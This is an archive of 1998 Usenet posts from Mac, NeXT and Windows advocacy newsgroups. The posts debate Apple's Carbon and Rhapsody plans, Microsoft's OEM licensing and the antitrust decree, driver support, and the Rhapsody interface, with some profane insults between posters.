Date: 27 May 1998 13:21:16 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kh40c$nc0$14@ns3.vrx.net>
References: <joe.ragosta-2705981214130001@wil96.dol.net> <B1919997-44B3D@206.165.43.48>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1919997-44B3D@206.165.43.48> "Lawson English" claimed:
> Even Apple can't answer that until they get back Carbon Dater data.
>
> My guess is that MOST of it is search and replace, but with the caveat that
> some of the Carbon APIs require new/different parameters, which might
> require unexpected rewrites because the required data isn't available where
> it is needed.
In general it's likely safe to say that it means the removal of one half of
your ifdefs and rum-time conditional code. IE, a lot of things that ask
Gestault and then branch into one or another side likely hit on the Dater,
yet removing one half of the thing fixes it. A perfect example of this is
StandardFile, which most apps still have but is no longer supported - so you
get hits in the Dater on it even though it's not a real issue.
> E.G., the QDe code requires (I understand) an explicit graphics-port
> parameter.
Nope, the old API is still there too.
> OTOH, OOP-based code might simply require you to subclass the right
> classes, thereby allowing easy backwards compatibility with System 7.x
> machines.
I think this is the general plan. From what I can tell most of this really
is a re-link. Oddly most of the hits seem to be generated from portions of
the printing code, which I found odd. Am I missing something? I don't
remember any radically new version of those API's being introduced. Maybe
it's a bug in the dater?
Maury
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 27 May 1998 18:33:25 GMT
Organization: VHA Inc.
Message-ID: <01bd899e$cec07780$8383050a@bgravitt.CORP.VHA.COM>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k8dee$a9h$1@nargun.cc.uq.edu.au> <35719045.3508921@news.supernews.com> <6kgtka$rjj$1@nargun.cc.uq.edu.au>
Christopher Smith <drsmithy@usa.net> wrote in article
<6kgtka$rjj$1@nargun.cc.uq.edu.au>...
>
> T. Max Devlin wrote in message <35719045.3508921@news.supernews.com>...
> >Sorry, Christopher, but it's one of those nights, and I've gone over the
> >edge...
> >
> >"Christopher Smith" <drsmithy@usa.net>, on Sun, 24 May 1998 16:11:27
> >>[...]They can set Netscape to the default browser, but they cannot
change
> the
> >>default startup procedure - I would consider this a valid "condition"
no
> >>matter *what* the OS was.
> >
> >Obviously, you don't know jack-shit about operating systems and default
> >startup procedures.
>
> Whereas you know everything there is to know, correct ?
>
Well, all these stories about Netscape being allowed to be the default
browser are just funny! hehe... If Netscape has to use COM/DCOM interfaces
to the Windwoes subsystem then Netscape would be nothing but a GUI on top
of COM objects. In other words, be a good little kid Netscape and follow
the Pied Piper. You have no more control of your destiny in the Windwoes
market. Netscape innovation is squelched. Gotcha! :(
> >
> >> I wonder what Apple would say if some of its VARs
> >>(not that there are many left) modifed all their Macs so the default
boot
> >>was to Win95 running under VPC instead of OS 8.0 ?
> >
> >They think it was odd, and wonder why they were committing marketing
> >suicide.
>
> Yeah, and I'm sure they'd just watch on a laugh as well. Not.
>
What?
> >
> >>
> >>OEMs can *add* whatever they want to the desktop, start menu, startup
> etc -
> >>they just aren't allowed to *remove* default settings for the first
boot -
> >>if Gateway wanted to they could stick a text document into "Startup"
> >>describing exactly how to remove Windows 95 and install Linux, but the
> >>*first* boot must have the *standard* Windows 95 setup. System vendors
> can
> >>already pick & choose software to install, stick on the desktop, add to
> the
> >>Start menu whatever, they just can't *remove* things from the *first*
> >>bootup.
> >
> >According to the contract, you are correct. I wonder how many OEMs
> >would agree with your charity concerning Microsoft's tactics,
> >considering several of them were putatively threatened with losing their
> >Windows licenses if they included, displayed, removed, or modified
> >certain icons, et al.
>
> You mean if they breached their contract by removing items from the
desktop
> ?
Not being allowed to alter the bootup and first screens means that it's a
Microsoft(tm) brand computer and not a Compaq, Dell, Gateway or Packard
Bell etc.... The hardware manufacturers then assign their fealty to the
master at MS and become vassals in a new age fiefdom while the user becomes
a waif peasant!~
>
> >
> >Yes, theoretically a vendor might include a startup program which
> >partially (not totally, because MS does not publish their code) will
> >disable Microsoft crapolla, then erase itself. But why? I invite you,
> >have others have I, to simply put your words to action: go do it. Go
> >build a system that launches a program after the first login that
> >"fixes" Windows, and maybe installs a boot-loader. See if you can get
> >"volume discounts" from Microsoft, so you can compete in a commodity
> >hardware market. Microsoft benefits from that Intel-based,
> >IBM-architecture-derived commodity hardware market, you know. They just
> >keep racking up the GP, "sorry; in the next version, we'll get that
> >nasty-old misbehavior hardware _working_, so it doesn't cause a
> >nasty-old crash every fifteen minutes", safe from recriminations of not
> >being able to have an uptime capable of sustaining even casual use of
> >long duration...
> >
> >So you just go build a system with this time-bomb-like first boot. See
> >if the wrath of Microsoft don't come down on YOUR ass...
>
> Why would I want to ? The only people who have a problem with the way
> Windows PCs ship now are those who don't buy them.
Because they don't know any better. They will use whatever is there in
front of them and MS is going to make sure that they don't SEE anything
that doesn't have Redmond's seal of approval. Have you ever heard the
little ditties that go, "What they don't know can't hurt 'em" or "Out of
sight - out of mind" The cost is there even though it isn't perceived.
>
> >--
> >
> >T. Max Devlin
> >Hi-TECH Connections/Eltrax Systems
> >*****************************************************
> > - Opinions expressed are my own.
> > Anyone else may use them only in
> > accordance with licensing agreements. -
>
>
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
My opinions are mine alone - though others may borrow...
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 27 May 1998 18:41:20 GMT
Organization: VHA Inc.
Message-ID: <01bd899f$ea9ff9c0$8383050a@bgravitt.CORP.VHA.COM>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <rmcassid-1905980044070001@dante.eng.uci.edu> <6jrrfp$3e1$2@strato.ultra.net> <tvyd8daun8i.fsf@cn1.connectnet.com> <6jtgif$vp6$7@ligarius.ultra.net> <35cca498.358890969@news.supernews.com> <6k6rm5$nkn$4@ligarius.ultra.net> <Josh.McKee-2305982147510001@pm3a18.rmac.net> <6k883d$okb$4@strato.ultra.net> <356f8bcf.2366573@news.supernews.com>
-snipped a bunch-
>
> I rather think that they asked that "Microsoft give up its right to
> display Microsoft's own Windows applications when consumers turn on a
> new PC running the Windows OS for the first time." You see how
> fundamentally important the distinction between OS and apps in a general
> purpose computer are? Not if you listen to Microsoft, you don't...
>
>
> [...]
> >
> >I contend that there is no "browser market".[...]
>
> Then why did Microsoft release a separate application called "Internet
> Explorer" to the Win95, Win3.1, and Unix markets?
>
If MS has it's way there will be NO browser market; it will be ABSORBED
into windwoes in the course of ongoing *hic* innovation. The BORG is a
great analogy when it comes to MS.
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
My opinions are mine alone - though others may borrow...
From: "David McCabe" <david.mccabe@balliol.oxford.ac.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 27 May 1998 19:41:46 +0100
Organization: Oxford University
Message-ID: <6khn2t$o63$1@news.ox.ac.uk>
References: <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981 <rmcassid-1905980044070001@dante.eng.uci.edu> <6js61j$g18$1@inconnu.isu.edu> <6jtgid$vp6$5@ligarius.ultra.net> <Josh.McKee-2005981950070001@pm3a17.rmac.net> <6k1862$vn6$3@strato.ultra.net> <Josh.McKee-2105981832300001@pm3a23.rmac.net> <6k2sok$l4r$3@strato.ultra.net> <Josh.McKee-2205981814520001@pm3a24.rmac.net> <6k6rm4$nkn$3@ligarius.ultra.net> <see-below-2305981537470001@209.24.241.7> <6k7k07$cs1$1@news.ox.ac.uk> <35779ed6.7238238@news.supernews.com>
>"David McCabe" <david.mccabe@balliol.oxford.ac.uk>, on Sat, 23 May 1998
> [...]
>>>> I don't get it. Why would it be "much more difficult"? What would the
>>>> problem be? Are you suggesting that Microsoft has left something
>>>> undocumented, such that only "the developer of the OS" could
successfully
>>>> implement this feature?
>>>
>>>Yes.
>>
>>Please substantiate your argument. Give examples, technical references,
>>whatever. Please explain to me why, despite the integration level,
Netscape
>>can't simply implement the same documented interfaces and replace the
>>pointers in the Registry.
>
>Now Dave, here, he's a complete and utter fuck-head. The brains of an
>idiot. "John Saunders" at least had the humility to appear like a
>troll. You're just an "instigator", David. You have no point, you'll
>just get your jollies feeling like you've accomplished something by
>jumping in the middle of a discussion and asking for back-references.
Come on, now. Is this an 'I can't, so I'm going to insult people'? Does that
make your day? Do you feel you've accomplished something by jumping in and
insulting people randomly?
If you can't produce anything to substantiate your argument, it's worthless.
*That* is my point.
>Or maybe you're just a Department of Justice lawyer looking for ideas.
>If you needed help, Dave, you could have just asked. I'll be happy to
>provide some consulting and investigation to "substantiate your
>argument. Give examples, technical references, whatever. Please explain
>to me why, despite the integration level, Netscape can't simply
>implement the same documented interfaces and replace the pointers in the
>Registry". For a fee.
So you haven't already? And no-one else has? Is *everyone* making these
accusations doing so on gut feeling and not on technical experience?
If someone genuinely has information on interfaces for which information is
not freely accessible, components that are an established part of the OS,
which Microsoft apps use, I'd be very interested.
>If you'd rather not,
I'd rather not, no. I'm making my argument free of charge, with source
freely available (c.f. Microsoft Developer Network et cetera). If you wish
to charge for a source licence for your opinion, that's your business.
> you should be able to substantiate the lack of
>equal access to the OS for outside apps providers,
What lack of equal access? No-one's proved there is any yet.
> and Microsoft's
>determination to ensure their domination of the Windows apps markets..
Of course Microsoft wants to dominate! So do their competitors. And don't
tell me Netscape didn't want to dominate the browser market.
>Otherwise, you're just a troll. Fuck off.
>--
>
>T. Max Devlin
>Hi-TECH Connections/Eltrax Systems
>*****************************************************
> - Opinions expressed are my own.
> Anyone else may use them only in
> accordance with licensing agreements. -
--
David McCabe
david.mccabe@balliol.oxford.ac.uk
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <tsn-2705981315200001@indyu133.netusa1.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <356c6872.0@206.25.228.5>
Date: 27 May 98 19:24:34 GMT
tsn@netusa1.net (Ike Gilbert) wrote:
> > L2 Pipelined Burst Cache, 512k,
> The G3 uses a 512k BACKSIDE cache, which I believe is faster than
> a L2 pipelined burst cache.
What's the difference?
> There is a tower version of the G3 that sells for more, but since
> the motherboards used in both are identical, the only gain achieved
> would be a little more space for add-on cards, which probably
> isn't necessary.
Gawd, can anymore excuses be made for the high price of apple
hardware? I'm sure there can. sigh.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 27 May 1998 12:51:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B191BCD2-C92BC@206.165.43.48>
References: <6kh40c$nc0$14@ns3.vrx.net>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
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Maury Markowitz <maury@remove_this.istar.ca> said:
>> E.G., the QDe code requires (I understand) an explicit graphics-port
>> parameter.
>
> Nope, the old API is still there too.
OK, so the grafport thing is only if you want to using threading? That
makes sense.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: Wed, 27 May 1998 09:58:48 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2705980958480001@news>
References: <antispam-2505981318110001@ppp25.subnet252.wesleyan.edu> <B18F0AF6-7B80@206.165.43.100>
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In article <B18F0AF6-7B80@206.165.43.100>, "Lawson English"
<english@primenet.com> wrote:
> don rastus <antispam@nowhere.com> said:
>
> >Joe and others are absolutely correct. I don't expect much support with
> >such antiquated hardware, and trust me, if I _needed_ the upcoming
> >AppleWorks 5.0, well, I'd certainly want to have a faster and newer
> >computer anyway.
>
> An upgrade for AppleWorks X.x will cost you about $100.
>
> An upgrade for your computer to the latest and greatest will be about
> $1500.
>
> You're saying that you're willing to pay $1500 in order to run a $100
> upgrade, even though there will be no perceptible difference in speed,
> except in boot time?
>
> Small wonder PC users laugh at Mac users.
>sigh< Lawson, leave it to you to distill a statement down to its barest
minimum, and then draw the wrong conclusions from that.
1) Who says that there would be no perceptible difference in speed? You
don't think a G3 runs AppleWorks faster than a Performa?
2) The later version of AppleWorks will also have more features, and hence
will require more processing power.
3) The $1500 for a new computer is not just to run AppleWorks; that new
machine will also be able to run loads of other software that is newer, and
run them better and faster.
4) Even if he were able to upgrade to the latest version of AppleWorks on
his Performa, he would (rightfully) expect some slowdown, due to the newer
features.
Face it: most people with older computers don't spend a lot of time
upgrading to the latest software revisions, and many people who do want to
upgrade eventually buy a newer computer along the way anyway. It's just a
question of when.
And for Apple, supporting older hardware is a matter of diminishing
returns; they end up spending 90% of their testing time making sure that
the software will run on the older platforms, when probably 2% of those
people would actually want to upgrade, and even then the software wouldn't
run really well. No, Apple is doing the right thing by supporting the
latest and greatest, and dropping off some of the older platforms. At this
point, it's just not worth it to support them.
Andy Bates.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Wed, 27 May 1998 13:51:02 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <356C6096.497E4DBD@nstar.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kg0hn$689$1@news.digifix.com> <356B9C6F.434C2D58@nstar.net> <6kgapb$a5t$1@news.digifix.com>
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NNTP-Posting-Date: 27 May 1998 18:55:56 GMT
Scott Anguish wrote:
> >The best (and sometimes, only) way to get the most out of hardware
> >drivers is to get them from the manufacturers. I hope Apple is
> working
> >to get this support.
> >
>
> If the Intel version sticks around, I'd hope we'd see that....
Hmmm? Why just for Intel?
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Wed, 27 May 1998 13:55:10 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <356C618E.FE07AE3A@nstar.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg>
<6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com> <6kgmc8$nc0$5@ns3.vrx.net>
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NNTP-Posting-Date: 27 May 1998 19:00:04 GMT
Maury Markowitz wrote:
> > Care to elaborate?
>
> Sure...
>
> "look at Linux, its usually 1 generation behind in video card drivers"
>
> And this has had no effect on it's popularity that I can see. Thus stating
> that it's a driver issue for the target Rhapsody market is likely nonsense.
Well, I'm quite sure it's had an effect on its popularity. The fact that
Linux is growing in no way indicates that there are not negative-growth
factors in operation.
I'm also quite sure that lack of cutting-edge drivers will affect the
target Rhapsody market much more dramatically than it affects the Linux
market.
> > The point is... The OS will not be attractive to users if they can't use
> their
> > hardware.
>
> And that's what I answered using your own example. Linux has (by YOUR
> statement) poor device support, yet it is likely the fastest growing
> marketshare in OS's.
Linux would be growing even more quickly if it weren't for sloppy and
late driver support.
> Apparently the people in question do not value it as
> highly as you think,
We value it very highly. Linux's popularity in the face of poor driver
support is not evidence for a devaluation of said driver support. It is
evidence for a high valuation of other aspects of the system.
> and that being the case I don't see why this would be an
> issue if we target those users with some form of Rhapsody.
Did you notice what happened when Be released BeOS beta 3 with piss-poor
driver support? Nobody switched.
MJP
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody, OS X...huh?
References: <356573e8.5831486@nntp.atl.mindspring.com> <6k4fk0$8st$1@crib.bevc.blacksburg.va.us> <3566bf1b.585911@nntp.atl.mindspring.com> <rkt1-2305981407360001@cu-dialup-1005.cit.cornell.edu> <see-below-2305981551320001@209.24.241.7> <6ke87q$d5n$12@ironhorse.plsys.co.uk>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <356c6656.0@206.25.228.5>
Date: 27 May 98 19:15:34 GMT
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> In <see-below-2305981551320001@209.24.241.7> Matthew Vaughan
> wrote:
> > I remember a year ago all the Next developers were complaining
> > about how sucky the Mac interface was compared to OpenStep,
> > but they've been pretty silent since. I was wondering if that
> > was the NDA at work, or whether some have actually changed
> > their minds. I haven't used OpenStep or Rhapsody so I can't
> > compare, but I'm curious what you all think of the Mac interface
> > (at least as implemented in DR1/DR2) now?
Suck doesn't begin to describe the pig of a UI I think the mac has in
comparison to the NeXT UI. I can only discuss what has been publicly
released so my comments will be so limited. Finally, I'm probably at the
extreme end of macUI haters (relative to the NeXTUI) so please take my
comments with huge mountains of salt.
> For me a combination of things...
Yes, it's the combination of interaction that was so killer under the
NeXTUI. Breaking elements here and there does more than destroy that one
feature but an overall flow that is hard to quantify. Just bear that in
mind.
> That said, a couple of peeves:
> Biggest loss: the shelf.
> The desktop simply doesn't come close to providing the "bookmark"
> functionality the shelf gave. I've sent in a couple of suggestions
> to rhapsody-dev-feedback about this -- the main thought being
> that is they don't want to bring back the shelf per se they could
> enhance the functionality of one of the existing buttons, say
> the home icon, to turn it into a popup list to which you could
> add new files/folders just be dragging. You could then "go to"
> that file/folder by selecting it in the popup. (An alternative
> would be to use the "Go to" panel.)
I don't see *why*? Why not just do the dimple thing. If someone doesn't
want to use it, by all means don't. This is unification for no sensible
reason at all, except the no taste UI zealots at apple.
Also, the addition of idiot buttons in the browser just looks gawd awful,
keeping in line with the no taste UI modifications.
> Desktop I don't like the way the Workspace becomes the active
> app if you click on the desktop. It's a shame they don't trust
> Mac-users enough to allow them to destroy files instantly with
> Command-r.
Check.
> Colour The new colour wheels etc should get their coloured sliders
> back. There should still be a way of making the key window even
> more obvious.
Check.
> But then there area also some great new features:
> Having the document icon in every window is excellent. Having
> symlinks show up in italics in the file viewer is outstanding...
> having the Command-r shortcut to take you to the original is
> useful too.
The placement of the close well and the document icon oftimes is too close,
they should be at opposite ends. Silly, ill thought out. Hopefully will
change. Of course removing the Cmnd-R just so sweet, arg.
> The Processes list on the right hand menu might even end up being
> better than app tiles: having the Hide Others entry here where
> everyone can see it is probably better than having a rather more
> obscure option (i.e. command-double-click on the app tile). And
> with the Apple menu on the left being customisable (thanks to
> Ken Case for uncovering the defaults settings), and the login
> items in Preferences, it might even end up being better than the
> dock.
The dock blew, no doubt almost any other option would be better. That this
nostalgic vestige from a 512X342 b&w screen OS is optimal is at the very
least debatable. Then again we know apple is not basing its decisions on
merit.
> Being able to resize a window from any corner is useful.
But implemented in a buttFurrBall ugly fashion; in a manner that is extra
screen real-estate wasteful.
> So overall some wins, some losses. I need to use DR2 longer in
> anger to get a real feel for how the two compare, but for now
> I'm fairly happy.
Overall it's a bastard of a buttFurrBall aesthetically; the purple barny,
high contrast for no reason, dumb either ill thought out and/or disgusting
looking widget UI (with the two exceptions of the radio button, and check
box widgets, I like those better). Further, the pinstripe is still there.
That idiot implementation cannot be torn off. Also, tear off menus,
currently, only work for the first level. Although, I like how the tear
off menu titles only take as much room as the title requires. In the end
however, it's buzzword compliant, but implemented in the maximum useless
manner; a tactic they seem to be adopting from ms.
The icon modification is putrid; apple, we bring you the purple folder,
jeez. The color schemes make those at a insane asylum look tasteful. The
buttons, the style is tinkerToyCartoon; they should just call it that. Oh,
also the white box around text that remains even when you are not editing
the name of an element, that remaining for no reason but buttUgliness is
another nice touch.
The *idiot* decision to make UI elements have a white background, like the
browser columns, instead of a neutral gray is typical of the idiot baseless
changes made. White makes sense in a text object when you're typing, as in
white paper. The rest of the UI shouldn't blind me with high contrast.
But there the makers of the advanced 3D banzi tree UI, and if every freakn'
element isn't screaming for my attention trying to distract me, I guess
their work is not done.
I can't even imagine what other UI *enhancements* apple has in store. If
there *progress* (I've rarely used that word so loosely) thus far is any
indication of their direction, then idiot nostalgic modifications will
trump every other possible meritorious alternative. What a pile of crap
they've created by destroying a beauty. Blah.
Keith Ohlfs is either peeing all over himself laughing or crying.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: 27 May 1998 14:28:25 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kh7u9$8d6$1@ns3.vrx.net>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg>
<6kesfn$c5r$6@ns3.vrx.net> <6kfi4n$452$1@nntp2.ba.best.com>
<6kgmc8$nc0$5@ns3.vrx.net> <356C618E.FE07AE3A@nstar.net>
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Cc: mjpeck@nstar.net
In <356C618E.FE07AE3A@nstar.net> "Michael J. Peck" claimed:
> Well, I'm quite sure it's had an effect on its popularity.
Demonstrated how?
> The fact that
> Linux is growing in no way indicates that there are not negative-growth
> factors in operation.
Perhaps not, but it definitely demonstrates it's not an overwhelming one by
any means.
> I'm also quite sure that lack of cutting-edge drivers will affect the
> target Rhapsody market much more dramatically than it affects the Linux
> market.
€Why?
> Linux would be growing even more quickly if it weren't for sloppy and
> late driver support.
Says you.
> We value it very highly. Linux's popularity in the face of poor driver
> support is not evidence for a devaluation of said driver support. It is
> evidence for a high valuation of other aspects of the system.
Exactly.
> Did you notice what happened when Be released BeOS beta 3 with piss-poor
> driver support? Nobody switched.
And does BeOS support X out of the box? Nope. How about YB? EOF? WO?
Nope, nope and nope. I believe that Be's "goodie features" are not strong
enough for people to use until they get the "whole picture" out. THEN we'll
see what happens.
Maury
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: upgrade path trauma
Date: 27 May 1998 12:25:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6khpad$q2e@nntp02.primenet.com>
References: <6kfa93$h2s$1@news1.ucsd.edu> <6kfudi$sgo$1@ndnws01.ne.highway1.com>
Steven W. Schuldt <sschuldt@mediaone.net> wrote:
: Is Linux the future? Garret you have got me thinking... Linux is the
: future the same way Pig Farming is the future. Will it be there? Yes.
: Will everyone do it? No. Is it an option? Always. Would you rather
: have had a viable alternative? Yes...
Re: Will it be there?
The nice thing about any open source project is that you can _do_
_something_ to make it happen. Waiting for a commercial OS release is a
passive (and for me frustrating) experience. You can study and prepare
for a commercial OS, but you can't do anything to make a release happen.
If you want to be passive, you can wait for commercial or open source OSes
to develop. If you want to be active, you only have one choice.
John
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Date: 27 May 1998 12:47:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B191BBEE-C5D2B@206.165.43.48>
References: <andyba-ya02408000R2705980958480001@news>
nntp://news.primenet.com/comp.sys.mac.advocacy
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Andy Bates <andyba@corp.webtv.net> said:
> No, Apple is doing the right thing by supporting the
>latest and greatest, and dropping off some of the older platforms. At this
>point, it's just not worth it to support them.
The original thread-topic (as I recall) was about companies dropping
support for 68K Macs as they ported *applications* to YB/Carbon. One
important difference between YB and Carbon is that it MAY be possible for
a company to special-case Carbon APIs and continue to support virtually all
System 7.x users. If they move to YB-only, they would have to forsake all
non-PowerMac users or maintain 2 completely different source code bases,
which many would not be willing to do, I'll bet.
The difference is between supporting the latest and greatest power users
who all have MacOS X or at least Carbon-enabled OS's, or supporting those
who are using System 7.x, MacOS 8.x *AND* MacOS X.
The first group will likely be only 2-3 million users for the first year,
while the second group will potentially be all 22 million current MacOS
owners that Apple likes to brag about to develoeprs as being the "total
installed base" that developers should take into account when deciding
whether or not to produce/revise a Macintosh version of their product.
Apple, the *OS* company, should mostly (not only, BTW) target their
OS-related releases to currently shipping products and the past few years
of hardware releases (i.e., all PowerMac owners for MacOS 8.x and MacOS 9,
and PCI-only for MacOS X), but Apple, the *applications software* company,
should target a wider range of hardware than the OS division should.
Claris, the only profitable division of Apple for the past two years, chose
to support ALL Macintoshes with a 68020 and higher processor with System
7.0.1 or higher and 8 MB of total RAM with the release of ClarisWorks
Office a few months ago.
Are you telling me that you can second-guess the people that made Claris
profitable and that they should, from now on, only target YB-able users, or
Carbon-able users, with future releases of Claris (Apple) products?
Don't cofuse the target audience of the applications division of Apple with
the OS division.
And, for that matter, is QuickTime an OS product?
If so, then Apple is STILL targetting (AFAIK) QT to every 32-bit Macintosh
with System 7.x or higher, so even their OS division hasn't forsaken the
older Macintoshes and likely won't for several years to come. Apple-OS
should also continue to target bug-fixes for viable parts of the overall
OS, e.g. CFM, even on 68K systems, because this increases the [non-buggy]
installed base that developers can target when producing applications for
Apple hardware customers. Without this larger installed base (of non-buggy
CFM-68K users), developers would have to forsake producing a product that
MIGHT be bought by approximately 1/2 of all current MacOS users, thereby
slashing their target by 1/2, thereby making the MacOS marekt too small to
consider.
Now, some applications developers ONLY target the "latest and greatest" and
would either rewrite their apps for Carbon use only, or actually produce
new apps using the YB. These would include the latest versions of the Adobe
high-end DTP products, since Adobe-using professionals often get paid by
the hour and need the fastest possible hardware to stay competitive. 3D
interactive shoot-em-ups would naturally only target PowerMacs, or even PCI
PMacs with 3D acceleration.
OTOH, shareware strategy/card 2D graphics games would still be written for
every System 7.x user. Educational software would still be written to run
on LC II's. Quicken would still target this audience, I'll bet, as would
word-processors and spreadsheets.
Claiming that ALL new products should be written for YB, or that all older
products should abandon any non-Carbon-capable Mac, simply ignores
marketing reality, IMHO.
Hopefully, Jobs and company know better and aren't seriously suggesting
that EVERY new MacOS application be written to the Carbon/YB api.
If they are unaware of these realities, then they obviouisly don't belong
where they are and should be fired before they destroy the Macintosh.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 27 May 1998 20:52:23 GMT
Organization: University of California at San Diego
Message-ID: <slrn6mov86.i3.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
On Wed, 27 May 1998 04:48:55 GMT, T. Max Devlin <mdevlin@eltrax.com> wrote:
: they
:wouldn't have been in technical violation, despite the fact that
:IE+Win95b was a bundle, and not a "developed integrated package".
Wait. Integrated is not the same as inseperable. Microsoft retained the
right to develop integrated software---this does not preclude their other
responsibilities w.r.t. bundling.
Making something 'inseparable' and then claiming they have the right to
trump anti-bundling provisions by making 'integrated' software is wrong.
Word and Excel are technically 'integrated', but still separable.
Indeed it is precisely the COM technology which Microsoft hypes which enables
technically integrated software to be designed in separable packages.
Microsoft has a responsibility to avoid crafting software to be
inseparable in order to comply with the Court, though they are allowed to
design it to be "integrated", i.e. with pieces working well together.
Instead, they used the clarification as a loophole to render the entire
point of the judgement meaningless. I think that is quite literally
contempt of court.
:>[...]Microsoft had historical evidence on
:>its side that in 1994 the DOJ and Microsoft agreed to exempt bundling.
:
:But the contract didn't include this exemption? You're losing me again,
:David.
I'm not convinced the contract had any "exemption". That is Microsoft's
interpretation---there was an enormously wide exemption. It is not mine,
and I suspect not the state's interpretation when the decree was originally
entered.
Why would the state ask for a remedy which it knew could be made completely
meaningless very easily? The whole purpose was to have some pro-competitive
effect on the actual real market. Why would the state intentionally include
a loophole which would allow even greater anti-competitive effect than the
practice being restricted?
It is totally nonsensical.
Remember, this decree was a reponse to previous illegal action by Microsoft,
in lieu of prosecution.
Given all these
--
